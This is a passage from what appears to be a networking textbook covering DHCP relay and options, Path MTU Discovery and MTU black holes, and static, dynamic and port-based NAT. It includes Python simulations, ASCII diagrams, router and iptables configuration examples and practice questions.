    6:  socket.inet_aton("8.8.8.8") + socket.inet_aton("1.1.1.1"),
    51: 86400,
    54: socket.inet_aton("10.0.0.5"),
})

for code, value in decode_options(packet_opts).items():
    name = DHCP_OPTIONS.get(code, f"option {code}")
    if code == 53:
        shown = MSG_TYPES[value[0]]
    elif code == 51:
        shown = f"{int.from_bytes(value, 'big')} s ({int.from_bytes(value,'big')//3600} h)"
    elif code in (1, 3, 54):
        shown = socket.inet_ntoa(value)
    elif code == 6:
        shown = ", ".join(socket.inet_ntoa(value[i:i+4]) for i in range(0, len(value), 4))
    else:
        shown = value.hex()
    print(f"option {code:>3} {name:<26} {shown}")
# option  53 DHCP Message Type          OFFER
# option   1 Subnet Mask                255.255.255.0
# option   3 Router (default gateway)   192.168.20.1
# option   6 Domain Name Server         8.8.8.8, 1.1.1.1
# option  51 IP Address Lease Time      86400 s (24 h)
# option  54 Server Identifier          10.0.0.5

# Pool selection: the server's entire decision rests on giaddr.
POOLS = {
    "192.168.10.0/24": {"gw": "192.168.10.1", "range": "192.168.10.100-200"},
    "192.168.20.0/24": {"gw": "192.168.20.1", "range": "192.168.20.100-200"},
    "192.168.30.0/24": {"gw": "192.168.30.1", "range": "192.168.30.50-99"},
}

def select_pool(giaddr):
    import ipaddress
    if giaddr == "0.0.0.0":
        return "client is on the SAME subnet as the server (no relay involved)"
    for cidr, cfg in POOLS.items():
        if ipaddress.ip_address(giaddr) in ipaddress.ip_network(cidr):
            return f"{cidr} -> gateway {cfg['gw']}, range {cfg['range']}"
    return "NO MATCHING POOL — server stays silent, client gets 169.254.x.x"

print()
for g in ["192.168.20.1", "192.168.30.1", "192.168.99.1", "0.0.0.0"]:
    print(f"giaddr {g:<15} -> {select_pool(g)}")
# giaddr 192.168.20.1    -> 192.168.20.0/24 -> gateway 192.168.20.1, range 192.168.20.100-200
# giaddr 192.168.30.1    -> 192.168.30.0/24 -> gateway 192.168.30.1, range 192.168.30.50-99
# giaddr 192.168.99.1    -> NO MATCHING POOL — server stays silent, client gets 169.254.x.x
# giaddr 0.0.0.0         -> client is on the SAME subnet as the server (no relay involved)
#                           ^ the exact failure when a VLAN is added but no pool is defined

# Configuring a relay — per interface, which is where the mistake happens.
# interface Vlan20
#   ip address 192.168.20.1 255.255.255.0
#   ip helper-address 10.0.0.5          <- primary DHCP server
#   ip helper-address 10.0.0.6          <- secondary, for redundancy
# interface Vlan30
#   ip address 192.168.30.1 255.255.255.0
#   ip helper-address 10.0.0.5
#   ^ forget this line on ONE VLAN and only that VLAN has no DHCP.

# Linux equivalent:
$ sudo dhcrelay -i eth1 -i eth2 10.0.0.5

# The relayed request, seen at the server — note giaddr:
$ sudo tcpdump -i eth0 -n port 67 -v
# IP 192.168.20.1.67 > 10.0.0.5.67: BOOTP/DHCP, Request from aa:bb:cc:dd:ee:ff,
#    ^^^^^^^^^^^^ UNICAST from the relay, not a broadcast
#      Gateway-IP 192.168.20.1
#      ^^^^^^^^^^^^^^^^^^^^^^^ giaddr: how the server picks the pool
#      Relay-Agent-Information Option 82, length 18:
#        Circuit-ID SubOption 1: Gi1/0/12:vlan20
#        Remote-ID  SubOption 2: 00:1a:2b:3c:4d:5e
#        ^ ISPs use exactly this to identify the subscriber line

# Option 55: the client states what it wants, and fingerprints itself doing so.
# Parameter-Request Option 55, length 13:
#   Subnet-Mask, BR, Time-Zone, Default-Gateway, Domain-Name, Domain-Name-Server,
#   Option 119, Hostname, Netbios-Name-Server, Netbios-Scope, MTU, Classless-Static-Route
#   ^ the exact set and ORDER differs per OS — this alone identifies the client

# PXE boot relies entirely on options 60, 66 and 67:
# host pxeclients {
#   option vendor-class-identifier "PXEClient";
#   next-server 10.0.0.9;               # option 66: where the bootfile lives
#   filename "pxelinux.0";              # option 67: what to load
# }

$ show ip dhcp server statistics | head -5
# Message              Received
# BOOTREQUEST          18492
# DHCPDISCOVER         4211
# DHCPREQUEST          14281
# DHCPRELEASE          88

Key takeaways

• Routers do not forward broadcasts, so DHCP across subnets requires a relay agent (ip helper-address), configured per interface.
• The relay converts the broadcast to unicast and sets giaddr to its own address on the receiving interface.
• giaddr is how the central server selects the correct pool and where it sends the reply; a missing pool for a giaddr makes the server silent.
• One server can then serve hundreds of subnets from a single lease database.
• Options are TLV-encoded; the important ones are 53 (message type), 1/3/6 (mask, gateway, DNS), 51 (lease), 54 (server ID), 55 (client's request list), 66/67 (PXE boot), 82 (relay info).
• Option 55 makes the client state what it wants, and its exact contents fingerprint the client OS.
• Option 82 carries circuit and remote IDs, letting providers identify the physical subscriber line; it must be stripped from untrusted ports.
• Redundancy is achieved with two helper addresses; the client uses whichever server answers first.

🧪 Practice

1. Explain why a DHCP server on VLAN 10 cannot serve VLAN 20 without a relay, naming the exact property of broadcasts responsible.
2. A server receives a request with giaddr = 10.5.40.1 but has no pool for 10.5.40.0/24. Describe what the client experiences and the address it ends up with.
3. Name the options needed for a workstation to PXE boot and state what each carries.
4. Interview-style: How does an ISP know which subscriber line a DHCP request came from, given that the customer controls the equipment sending it? (Hint: the field is inserted by equipment the customer does not control, and is stripped if the customer tries to supply it.)

Path MTU Discovery

Theory

Every link has an MTU, and a path crosses many links. The Path MTU is the smallest MTU along the path — the bottleneck that determines the largest packet that can traverse it without fragmentation.

A sender wants to use the largest packet the path allows: fewer packets means less per-packet overhead and less processing. But sending too large means either fragmentation (slow, fragile) or silent dropping. So the sender must discover the path MTU, and since IP is stateless the only way is by experiment.

Classic PMTUD (RFC 1191) works by deliberately provoking failure:

1. Send packets at the local link's MTU with the DF (Don't Fragment) bit set.
2. If a router cannot forward one, it drops the packet and returns ICMP Type 3 Code 4 (Fragmentation Needed), which includes the next-hop MTU.
3. The sender lowers its packet size to that value, caches it per destination, and retries.
4. Repeat if a later, smaller link is encountered.
5. Periodically retry larger sizes, since paths change.

Elegant — and critically dependent on that one ICMP message reaching the sender. Which, on the real internet, it often does not, because of firewalls that block ICMP indiscriminately.

The failure mode is the MTU black hole, and its signature is distinctive enough to recognise immediately:

• Small packets work perfectly. Ping succeeds. DNS works. The TCP handshake completes.
• Large packets vanish with no error at all.
• So the connection establishes and then hangs the moment real data flows.
• HTTPS is a classic victim: the handshake is small, the certificate exchange is large.

That combination — connects fine, hangs on data, small things work — should immediately suggest MTU before anything else.

Common causes of a reduced path MTU are worth memorising, because the numbers recur:

Path element	MTU	Overhead
Standard Ethernet	1500	baseline
PPPoE (DSL)	1492	8 bytes
IPsec tunnel mode	~1400–1438	56–100 bytes
GRE tunnel	1476	24 bytes
WireGuard	1420	60–80 bytes
VXLAN overlay	1450	50 bytes

Two mitigations exist, and both are widely used because classic PMTUD cannot be relied on:

TCP MSS clamping. A router rewrites the MSS value in passing TCP SYN packets down to something that fits. The endpoints then never generate an oversized packet, so no ICMP is required and the black hole never occurs. It is a middlebox hack, it violates end-to-end purity, and it is the single most effective fix for VPN and tunnel MTU problems in practice.

PLPMTUD (Packetization Layer PMTUD, RFC 4821). Instead of relying on ICMP, the transport layer probes: send progressively larger packets and watch whether they are acknowledged. If a probe is lost while smaller packets succeed, the path MTU is smaller than that probe. It is slower to converge but needs no ICMP at all. QUIC uses this by design, which is one concrete reason QUIC is more robust than TCP across hostile middleboxes.

IPv6 raises the stakes: routers cannot fragment, so PMTUD is mandatory, and ICMPv6 Packet Too Big (type 2) must not be blocked. The IPv6 minimum MTU is 1280 bytes, which is the floor every path must support.

Examples

PMTUD working

  [host] --1500-- [R1] --1400-- [R2] --1500-- [server]
     |
     |--(1500, DF)-->|
     |               R1: won't fit on the 1400 link, DF set
     |<-- ICMP 3/4 "next-hop MTU 1400" --|
     |
     |--(1400, DF)------------------->|--------------->|  SUCCESS
     |
     cached: path MTU to server = 1400


PMTUD BROKEN — the MTU black hole

  [host] --1500-- [R1] --1400-- [FIREWALL drops ICMP] --- [server]
     |
     |--(1500, DF)-->|
     |               R1 drops it and sends ICMP 3/4...
     |               ...which the firewall discards.
     |
     |  (silence. forever. the host retransmits the same oversized
     |   packet, which is dropped again, which generates another
     |   ICMP, which is also discarded.)

  OBSERVED BEHAVIOUR:
    ping             works      (small packets)
    dig              works      (small packets)
    TCP handshake    works      (SYN is ~60 bytes)
    curl https://    HANGS      (certificate exchange is ~4 KB)
                     ^^^^^ "connects then freezes" = suspect MTU FIRST


MSS clamping: fix it without needing ICMP at all

   client                 [router clamps]                 server
     |-- SYN MSS=1460 ----->|                                |
     |                      | rewrites to MSS=1360 -------->|
     |<---------- SYN-ACK MSS=1360 (also clamped) -----------|
     |
     Both ends now believe the maximum segment is 1360.
     No packet is ever too large. No ICMP is ever needed.

def path_mtu(link_mtus):
    """The path MTU is simply the minimum along the path."""
    return min(link_mtus)

def pmtud(link_mtus, start_mtu, icmp_works=True, max_rounds=6):
    """Simulate classic PMTUD, with and without ICMP reaching the sender."""
    current, log = start_mtu, []
    for rnd in range(1, max_rounds + 1):
        blocking = [(i, m) for i, m in enumerate(link_mtus, 1) if m < current]
        if not blocking:
            log.append(f"round {rnd}: {current} B traversed the whole path — DONE")
            return current, log
        hop, mtu = blocking[0]
        if not icmp_works:
            log.append(f"round {rnd}: {current} B dropped at hop {hop}; "
                       f"ICMP blocked -> SILENCE. Retrying the same size.")
            if rnd == max_rounds:
                log.append("   => MTU BLACK HOLE: connection hangs, no error ever seen")
                return None, log
            continue
        log.append(f"round {rnd}: {current} B dropped at hop {hop}; "
                   f"ICMP 3/4 says next-hop MTU {mtu}")
        current = mtu
    return current, log

path = [1500, 1400, 1500, 1500]
print(f"true path MTU: {path_mtu(path)}\n")

mtu, log = pmtud(path, start_mtu=1500, icmp_works=True)
print("ICMP ALLOWED:")
for line in log: print("  " + line)
# ICMP ALLOWED:
#   round 1: 1500 B dropped at hop 2; ICMP 3/4 says next-hop MTU 1400
#   round 2: 1400 B traversed the whole path — DONE

mtu, log = pmtud(path, start_mtu=1500, icmp_works=False, max_rounds=3)
print("\nICMP BLOCKED:")
for line in log: print("  " + line)
# ICMP BLOCKED:
#   round 1: 1500 B dropped at hop 2; ICMP blocked -> SILENCE. Retrying the same size.
#   round 2: 1500 B dropped at hop 2; ICMP blocked -> SILENCE. Retrying the same size.
#   round 3: 1500 B dropped at hop 2; ICMP blocked -> SILENCE. Retrying the same size.
#      => MTU BLACK HOLE: connection hangs, no error ever seen

# Tunnel overhead: why VPNs produce most MTU incidents.
OVERHEAD = {"none": 0, "PPPoE": 8, "GRE": 24, "VXLAN": 50,
            "WireGuard": 80, "IPsec tunnel": 73}

print(f"\n{'encapsulation':<16}{'MTU':>6}{'IPv4 MSS':>10}{'IPv6 MSS':>10}")
for name, oh in sorted(OVERHEAD.items(), key=lambda kv: kv[1]):
    mtu = 1500 - oh
    print(f"{name:<16}{mtu:>6}{mtu-40:>10}{mtu-60:>10}")
#                    MTU  IPv4 MSS  IPv6 MSS
# none              1500      1460      1440
# PPPoE             1492      1452      1432
# GRE               1476      1436      1416
# VXLAN             1450      1410      1390
# IPsec tunnel      1427      1387      1367
# WireGuard         1420      1380      1360
#   IPv4 MSS = MTU - 20 (IP) - 20 (TCP);  IPv6 MSS = MTU - 40 (IP) - 20 (TCP)

# PLPMTUD: probe upward instead of waiting for ICMP.
def plpmtud(true_path_mtu, low=1280, high=1500):
    """Binary search using acknowledgement, not ICMP. This is QUIC's approach."""
    best, probes = low, []
    while low <= high:
        mid = (low + high) // 2
        acked = mid <= true_path_mtu           # the ONLY signal used
        probes.append((mid, "ACKed" if acked else "lost"))
        if acked:
            best, low = mid, mid + 1
        else:
            high = mid - 1
    return best, probes

best, probes = plpmtud(true_path_mtu=1400)
print(f"\nPLPMTUD probes: {probes}")
print(f"discovered MTU: {best}  (no ICMP involved at any point)")
# PLPMTUD probes: [(1390, 'ACKed'), (1445, 'lost'), (1417, 'lost'), (1403, 'lost'),
#                  (1396, 'ACKed'), (1399, 'ACKed'), (1401, 'lost'), (1400, 'ACKed')]
# discovered MTU: 1400  (no ICMP involved at any point)

# Find the path MTU by hand — binary search with DF set.
$ ping -c1 -M do -s 1472 8.8.8.8      # 1472 + 28 = 1500
# ping: local error: message too long, mtu=1500
$ ping -c1 -M do -s 1372 8.8.8.8      # 1372 + 28 = 1400
# 64 bytes from 8.8.8.8: icmp_seq=1 ttl=118 time=12.4 ms   <- fits
#   Add 28 to the largest working -s value to get the path MTU.

$ tracepath 8.8.8.8                    # automates the search
#  1?: [LOCALHOST]      pmtu 1500
#  1:  192.168.1.1      1.086ms
#  2:  10.20.0.1        9.881ms  pmtu 1400
#                                ^^^^^^^^^ the constricting hop, found
#      Resume: pmtu 1400 hops 8

# What the kernel has cached:
$ ip route get 8.8.8.8
# 8.8.8.8 via 192.168.1.1 dev eth0 src 192.168.1.20 mtu 1400
#                                                   ^^^^^^^^ learned via PMTUD
$ sudo ip route flush cache            # forget it and rediscover

# MSS clamping — the practical fix for tunnel MTU problems:
$ sudo iptables -t mangle -A FORWARD -p tcp --tcp-flags SYN,RST SYN \
      -j TCPMSS --clamp-mss-to-pmtu
# Cisco equivalent, on the tunnel interface:
#   ip tcp adjust-mss 1360

# IPv6: PMTUD is MANDATORY, so Packet Too Big must be permitted.
$ sudo ip6tables -A INPUT -p icmpv6 --icmpv6-type packet-too-big -j ACCEPT
$ ping6 -c1 -M do -s 1452 2001:db8::1     # 1452 + 48 = 1500
# From 2001:db8:0:1::1 icmp_seq=1 Packet too big: mtu=1400
#                                 ^^^^^^^^^^^^^^ ICMPv6 type 2 — the only signal

Key takeaways

• The Path MTU is the minimum MTU along a path; senders discover it because IP keeps no path state.
• Classic PMTUD: send with DF set, and learn the next-hop MTU from ICMP Type 3 Code 4 (IPv4) or ICMPv6 Packet Too Big, type 2 (IPv6).
• Blocking that ICMP creates an MTU black hole: ping, DNS, and the TCP handshake all succeed, but the connection hangs as soon as data flows.
• "Connects then hangs, small things work" is the black hole's signature — suspect MTU immediately.
• Tunnels are the usual cause: PPPoE 1492, GRE 1476, VXLAN 1450, IPsec ~1400, WireGuard 1420.
• TCP MSS clamping rewrites the MSS in passing SYNs so no oversized packet is ever generated — the most effective practical fix for tunnels.
• PLPMTUD (RFC 4821) probes with real traffic and uses acknowledgements instead of ICMP; QUIC uses it by design.
• In IPv6, routers cannot fragment, so PMTUD is mandatory and the minimum MTU is 1280 bytes.

🧪 Practice

1. Compute the path MTU for links of 1500, 1492, 1400, and 1500 bytes, and give the resulting IPv4 TCP MSS.
2. Explain why a user can ping a server, resolve its name, and open a TCP connection to it, yet see an HTTPS page hang — and name the single blocked message responsible.
3. Use ping -M do to describe the binary search that finds a path MTU of 1,420 bytes, giving the -s values you would try.
4. Interview-style: MSS clamping fixes MTU problems by having a router rewrite the endpoints' TCP options. Why is this widely deployed despite violating the end-to-end principle? (Hint: compare what it requires to work against what classic PMTUD requires, given how many networks filter ICMP.)

<a id="56-address-translation"></a>

5.6 Address Translation

This closing subchapter covers NAT: the mechanism that let IPv4 survive exhaustion, the ways applications work around it, and the architectural cost it imposed on the internet.

Static and Dynamic NAT

Theory

NAT (Network Address Translation, RFC 3022) rewrites IP addresses in packet headers as they cross a boundary. It was introduced in 1994 as a stopgap for address exhaustion, and it became one of the most consequential pieces of internet infrastructure ever deployed — for better and for worse.

The core idea: an organisation uses private addresses (RFC 1918) internally, and a NAT device at the border rewrites them into public addresses on the way out, reversing the rewrite on the way back. The internet sees only public addresses; the internal structure is invisible.

Two variants exist before we reach the one everybody actually uses.

Static NAT is a fixed, one-to-one mapping between a private address and a public address, configured by hand and permanent. 192.168.1.10 is always 203.0.113.10.

Because the mapping is permanent and bidirectional, inbound connections work: an external host connecting to 203.0.113.10 reaches the internal server. This is why static NAT is used for servers that must be reachable — a web server, a mail server, a VPN endpoint.

It saves no addresses at all. One public address is consumed per internal host. Its purpose is topology hiding and renumbering flexibility, not conservation.

Dynamic NAT keeps a pool of public addresses and assigns one to an internal host when it initiates an outbound connection, returning it to the pool when the session ends. The mapping is still one-to-one while it exists, but it is temporary and it changes.

Dynamic NAT saves addresses only through statistical multiplexing: if 200 hosts exist but only 50 are ever active at once, a pool of 50 suffices. And its hard limit is unforgiving — when the pool is exhausted, the next host gets no translation at all and its packets are dropped. The user sees "no internet", with no useful error.

Inbound connections cannot work with dynamic NAT, because there is no stable mapping to target. An external host has nothing to connect to.

	Static NAT	Dynamic NAT	PAT (next topic)
Mapping	Permanent 1:1	Temporary 1:1 from a pool	Many:1 using ports
Addresses saved	None	Some (statistical)	Enormous
Inbound connections	Yes	No	Only via port forwarding
Limit	One public per host	Pool size	~64,000 ports per public IP
Typical use	Public servers	Legacy; rare today	Essentially every network

In practice, static NAT survives for servers and PAT does everything else. Plain dynamic NAT is largely historical, because PAT provides the same benefit with vastly better efficiency.

A NAT device must also rewrite more than the address. Changing an address invalidates the IP header checksum, so it must be recomputed. And because TCP and UDP checksums cover a pseudo-header containing the IP addresses, those must be recomputed too. This is why NAT is not a layer 3 operation in any clean sense: it necessarily reaches into the transport header, which is precisely why it breaks protocols that were designed assuming nothing would.

Examples

Static NAT — permanent, bidirectional, inbound works

  inside                    NAT                     outside
  192.168.1.10  <====>  [ 192.168.1.10 <-> 203.0.113.10 ]  <====>  internet
                            ^ configured by hand, never changes

  OUTBOUND: src 192.168.1.10 -> rewritten to src 203.0.113.10
  INBOUND:  dst 203.0.113.10 -> rewritten to dst 192.168.1.10   <- WORKS
                                                                   because the
                                                                   mapping always
                                                                   exists


Dynamic NAT — temporary, from a pool, inbound impossible

  pool: 203.0.113.10 - 203.0.113.12   (3 public addresses)

  t=0  192.168.1.20 connects -> gets 203.0.113.10
  t=1  192.168.1.21 connects -> gets 203.0.113.11
  t=2  192.168.1.22 connects -> gets 203.0.113.12
  t=3  192.168.1.23 connects -> POOL EXHAUSTED -> packet DROPPED
                                ^ user sees "no internet", no error message
  t=4  192.168.1.20 idles out -> .10 returns to the pool

  INBOUND to 203.0.113.11: which internal host is that RIGHT NOW?
  Depends on the moment. There is nothing stable to publish. -> impossible.

import time

class StaticNAT:
    def __init__(self, mappings):
        self.out = dict(mappings)                        # private -> public
        self.inn = {v: k for k, v in mappings.items()}   # public  -> private

    def outbound(self, src):
        return self.out.get(src, "DROP (no mapping)")

    def inbound(self, dst):
        # Works because the mapping is permanent and known in advance.
        return self.inn.get(dst, "DROP (no mapping)")

snat = StaticNAT({"192.168.1.10": "203.0.113.10", "192.168.1.11": "203.0.113.11"})
print("outbound 192.168.1.10 ->", snat.outbound("192.168.1.10"))
print("inbound  203.0.113.10 ->", snat.inbound("203.0.113.10"))
print("inbound  203.0.113.99 ->", snat.inbound("203.0.113.99"))
# outbound 192.168.1.10 -> 203.0.113.10
# inbound  203.0.113.10 -> 192.168.1.10
# inbound  203.0.113.99 -> DROP (no mapping)

class DynamicNAT:
    def __init__(self, pool, idle_timeout=300):
        self.free = list(pool)
        self.bindings = {}                # private -> (public, last_used)
        self.timeout = idle_timeout

    def outbound(self, src, now):
        self.expire(now)
        if src in self.bindings:
            pub, _ = self.bindings[src]
            self.bindings[src] = (pub, now)              # refresh the idle timer
            return pub
        if not self.free:
            return "DROP — POOL EXHAUSTED (user sees 'no internet')"
        pub = self.free.pop(0)
        self.bindings[src] = (pub, now)
        return pub

    def inbound(self, dst, now):
        # Nothing stable to publish: whichever host holds it right now, if any.
        for priv, (pub, _) in self.bindings.items():
            if pub == dst:
                return f"{priv} (but only at this instant — not publishable)"
        return "DROP — no active binding"

    def expire(self, now):
        dead = [p for p, (_, last) in self.bindings.items()
                if now - last > self.timeout]
        for p in dead:
            pub, _ = self.bindings.pop(p)
            self.free.append(pub)

dnat = DynamicNAT(["203.0.113.10", "203.0.113.11", "203.0.113.12"])
t = 0
for host in ["192.168.1.20", "192.168.1.21", "192.168.1.22", "192.168.1.23"]:
    print(f"{host} -> {dnat.outbound(host, t)}")
# 192.168.1.20 -> 203.0.113.10
# 192.168.1.21 -> 203.0.113.11
# 192.168.1.22 -> 203.0.113.12
# 192.168.1.23 -> DROP — POOL EXHAUSTED (user sees 'no internet')

print(dnat.inbound("203.0.113.11", t))
# 192.168.1.21 (but only at this instant — not publishable)

# After the idle timeout, the address returns and the fourth host succeeds.
print(f"192.168.1.23 -> {dnat.outbound('192.168.1.23', t + 400)}")
# 192.168.1.23 -> 203.0.113.10

# Rewriting an address invalidates THREE checksums, not one.
def checksums_to_recompute(protocol):
    required = ["IPv4 header checksum (covers the addresses)"]
    if protocol in ("TCP", "UDP"):
        required.append(f"{protocol} checksum (its PSEUDO-HEADER includes the "
                        f"IP addresses)")
    return required

for proto in ("TCP", "UDP", "ICMP"):
    print(f"\nrewriting a {proto} packet requires recomputing:")
    for c in checksums_to_recompute(proto):
        print(f"  - {c}")
#
# rewriting a TCP packet requires recomputing:
#   - IPv4 header checksum (covers the addresses)
#   - TCP checksum (its PSEUDO-HEADER includes the IP addresses)
#
# rewriting a UDP packet requires recomputing:
#   - IPv4 header checksum (covers the addresses)
#   - UDP checksum (its PSEUDO-HEADER includes the IP addresses)
#
# rewriting a ICMP packet requires recomputing:
#   - IPv4 header checksum (covers the addresses)
# This is why NAT is not a clean layer 3 operation: it must reach into
# the transport header, which is exactly what breaks protocols later.

# Static NAT — one host, permanently published.
# ip nat inside source static 192.168.1.10 203.0.113.10
# interface GigabitEthernet0/0
#   ip nat inside
# interface GigabitEthernet0/1
#   ip nat outside

# Linux equivalent, both directions:
$ sudo iptables -t nat -A POSTROUTING -s 192.168.1.10 -j SNAT --to 203.0.113.10
$ sudo iptables -t nat -A PREROUTING  -d 203.0.113.10 -j DNAT --to 192.168.1.10

# Dynamic NAT from a pool:
# ip nat pool PUBLICPOOL 203.0.113.10 203.0.113.12 netmask 255.255.255.0
# access-list 1 permit 192.168.1.0 0.0.0.255
# ip nat inside source list 1 pool PUBLICPOOL

$ show ip nat translations
# Pro Inside global     Inside local      Outside local    Outside global
# --- 203.0.113.10      192.168.1.10      ---              ---
#                       ^ static: present even with no traffic at all
# --- 203.0.113.11      192.168.1.21      ---              ---
#                       ^ dynamic: appears on first packet, ages out when idle

$ show ip nat statistics | head -6
# Total active translations: 2 (1 static, 1 dynamic; 0 extended)
# Pool PUBLICPOOL: netmask 255.255.255.0
#   start 203.0.113.10 end 203.0.113.12
#   type generic, total addresses 3, allocated 1 (33%), misses 41
#                                                        ^^^^^^ 41 packets DROPPED
#                                                        because the pool was full

Key takeaways

• NAT rewrites addresses at a boundary so private (RFC 1918) space can reach the public internet.
• Static NAT is a permanent 1:1 mapping — it saves no addresses but allows inbound connections, so it is used for servers.
• Dynamic NAT assigns from a pool for the duration of a session; it saves addresses only by statistical multiplexing.
• Pool exhaustion under dynamic NAT drops traffic with no useful error — the user simply has no connectivity.
• Inbound connections are impossible with dynamic NAT, because no stable mapping exists to publish.
• Rewriting an address forces recomputation of the IPv4 header checksum and the TCP/UDP checksum, because the transport checksum covers a pseudo-header containing the addresses.
• That reach into the transport header is why NAT is not a clean layer 3 function and why it breaks protocols that embed addresses.
• In practice: static NAT for servers, PAT for everything else; plain dynamic NAT is largely historical.

🧪 Practice

1. State whether inbound connections work under static NAT and under dynamic NAT, and explain the reason in terms of mapping stability.
2. An organisation has 500 hosts and a dynamic NAT pool of 60 addresses. Describe what happens when the 61st concurrent host initiates a connection and what the user observes.
3. List every checksum a NAT device must recompute when rewriting a TCP packet's source address, and explain why the transport checksum is involved at all.
4. Interview-style: Static NAT conserves no addresses at all. Why deploy it? (Hint: consider what an external host needs in order to reach an internal server, and what the internet learns about your internal topology.)

Port Address Translation

Theory

Dynamic NAT still consumes one public address per active host, which is not nearly enough saving. PAT (Port Address Translation) — also called NAT overload, NAPT, or just "NAT" in casual speech, because it is the only kind most people ever meet — shares one public address among thousands of internal hosts.

The insight is that a connection is not identified by an address alone. It is identified by a 5-tuple: source IP, source port, destination IP, destination port, protocol. If the NAT device rewrites the source port as well as the source address, it can distinguish return traffic for many internal hosts using the same public address.

The mechanism:

1. Internal host 192.168.1.20:51234 sends to 93.184.216.34:443.
2. The NAT device rewrites the source to 203.0.113.5:40001, picking an unused port, and records the mapping in a translation table.
3. The reply arrives addressed to 203.0.113.5:40001.
4. The NAT looks up that port, finds the entry, rewrites the destination back to 192.168.1.20:51234, and forwards it.

The port number carries the demultiplexing information that the shared address no longer can. This is why PAT is stateful in a way that plain IP forwarding never is: the translation table is per-connection state, it must be held for the connection's lifetime, and if it is lost — a reboot, a failover to a device without synchronised state — every connection through it breaks instantly.

Theoretical capacity is roughly 64,000 ports per public address, though in practice around 60,000 are usable after reserving well-known and ephemeral ranges. That is per destination in a well-implemented NAT: the mapping needs to be unique only for a given external endpoint, so real capacity is higher than 64,000 concurrent connections if they go to different servers.

Even so, modern usage strains it. A single browser session opens dozens of connections; a phone with background sync keeps hundreds. Budgeting 100–200 concurrent connections per user, one public address supports roughly 300–600 users before port exhaustion.

Port exhaustion is a distinctive failure: existing connections continue working, but new ones fail intermittently and unpredictably. Users report "the internet is flaky" rather than "the internet is down", which makes it harder to diagnose than an outright outage.

Port forwarding is PAT's escape hatch for inbound traffic. A manually configured entry says traffic arriving at 203.0.113.5:8080 goes to 192.168.1.50:80. It is static NAT at port granularity, and it is how a home user exposes a game server or a security camera. UPnP IGD and NAT-PMP let applications request these mappings automatically — convenient, and a genuine security concern, since any program on the LAN can open a hole in the perimeter without asking anyone.

Examples

PAT: one public address, many internal hosts, ports do the work

  INTERNAL                    NAT TABLE                        EXTERNAL
  192.168.1.20:51234 --+                                  +--> 93.184.216.34:443
  192.168.1.21:51234 --+--> 203.0.113.5:40001 ...........:
  192.168.1.22:33445 --+     203.0.113.5:40002
                             203.0.113.5:40003
                             ^^^^^^^^^^^^^^^^^ ONE address, distinct ports

  Note hosts .20 and .21 both used source port 51234. The NAT gives them
  DIFFERENT public ports, so return traffic remains unambiguous.

  Return packet to 203.0.113.5:40002
      -> look up 40002 -> 192.168.1.21:51234 -> rewrite and deliver.


The translation table IS the connection. Lose it, lose everything.

  +---------------------------------------------------------------+
  | proto | inside local        | inside global      | outside     |
  |-------|---------------------|--------------------|-------------|
  | tcp   | 192.168.1.20:51234  | 203.0.113.5:40001  | 93.184..:443|
  | tcp   | 192.168.1.21:51234  | 203.0.113.5:40002  | 93.184..:443|
  | udp   | 192.168.1.22:33445  | 203.0.113.5:40003  | 8.8.8.8:53  |
  +---------------------------------------------------------------+
        ^ per-connection STATE in the middle of the network —
          exactly what IP was designed to avoid.
          A reboot here kills every connection at once.


Port forwarding: the manual hole for inbound traffic

   internet --> 203.0.113.5:8080 --[static entry]--> 192.168.1.50:80
                                    configured by hand, or requested
                                    automatically by UPnP/NAT-PMP

class PAT:
    def __init__(self, public_ip, port_low=40000, port_high=60000, timeout=300):
        self.public = public_ip
        self.ports = iter(range(port_low, port_high))
        self.port_high = port_high
        self.table = {}     # (priv_ip, priv_port, dst_ip, dst_port, proto) -> pub_port
        self.reverse = {}   # pub_port -> the tuple above
        self.forwards = {}  # pub_port -> (priv_ip, priv_port)   static, inbound
        self.timeout = timeout

    def outbound(self, priv_ip, priv_port, dst_ip, dst_port, proto="tcp"):
        key = (priv_ip, priv_port, dst_ip, dst_port, proto)
        if key in self.table:                        # reuse the existing mapping
            return f"{self.public}:{self.table[key]}"
        try:
            pub_port = next(self.ports)
        except StopIteration:
            return "DROP — PORT EXHAUSTION (new connections fail; old ones persist)"
        self.table[key] = pub_port
        self.reverse[pub_port] = key
        return f"{self.public}:{pub_port}"

    def inbound(self, pub_port):
        if pub_port in self.forwards:                # explicit port forward
            ip, port = self.forwards[pub_port]
            return f"{ip}:{port} (static port forward)"
        if pub_port in self.reverse:                 # return traffic for a session
            ip, port, _, _, _ = self.reverse[pub_port]
            return f"{ip}:{port} (return traffic for an existing session)"
        return "DROP — unsolicited inbound, no table entry"

    def add_forward(self, pub_port, priv_ip, priv_port):
        self.forwards[pub_port] = (priv_ip, priv_port)

pat = PAT("203.0.113.5")

# Two hosts that happen to choose the SAME source port.
print(pat.outbound("192.168.1.20", 51234, "93.184.216.34", 443))
print(pat.outbound("192.168.1.21", 51234, "93.184.216.34", 443))
print(pat.outbound("192.168.1.22", 33445, "8.8.8.8", 53, proto="udp"))
# 203.0.113.5:40000
# 203.0.113.5:40001
# 203.0.113.5:40002
#   Same private port, different public ports — the ambiguity is resolved.

print()
print("reply to :40001 ->", pat.inbound(40001))
print("reply to :9999  ->", pat.inbound(9999))
# reply to :40001 -> 192.168.1.21:51234 (return traffic for an existing session)
# reply to :9999  -> DROP — unsolicited inbound, no table entry
#                    ^ this drop is why NAT is often mistaken for a firewall

pat.add_forward(8080, "192.168.1.50", 80)
print("reply to :8080  ->", pat.inbound(8080))
# reply to :8080  -> 192.168.1.50:80 (static port forward)

# How many users fit behind one public address?
def pat_capacity(conns_per_user, usable_ports=60000):
    return usable_ports // conns_per_user

print()
for conns, profile in [(20, "light browsing"), (100, "typical modern device"),
                       (200, "heavy: many tabs + background sync"),
                       (500, "P2P / aggressive app")]:
    print(f"{profile:<36} {conns:>4} conns/user -> "
          f"{pat_capacity(conns):>5,} users per public IP")
# light browsing                         20 conns/user -> 3,000 users per public IP
# typical modern device                 100 conns/user ->   600 users per public IP
# heavy: many tabs + background sync    200 conns/user ->   300 users per public IP
# P2P / aggressive app                  500 conns/user ->   120 users per public IP

# The address saving that kept IPv4 alive.
print(f"\naddresses needed for 600 users WITHOUT PAT: 600")
print(f"addresses needed for 600 users WITH PAT:      1")
print(f"conservation ratio: 600:1")

# PAT in one line — the configuration behind nearly every home router.
$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
#                                               ^^^^^^^^^^ PAT using whatever
#                                               address eth0 currently holds
# Cisco:
#   ip nat inside source list 1 interface GigabitEthernet0/1 overload
#                                                            ^^^^^^^^ = PAT

# The live translation table:
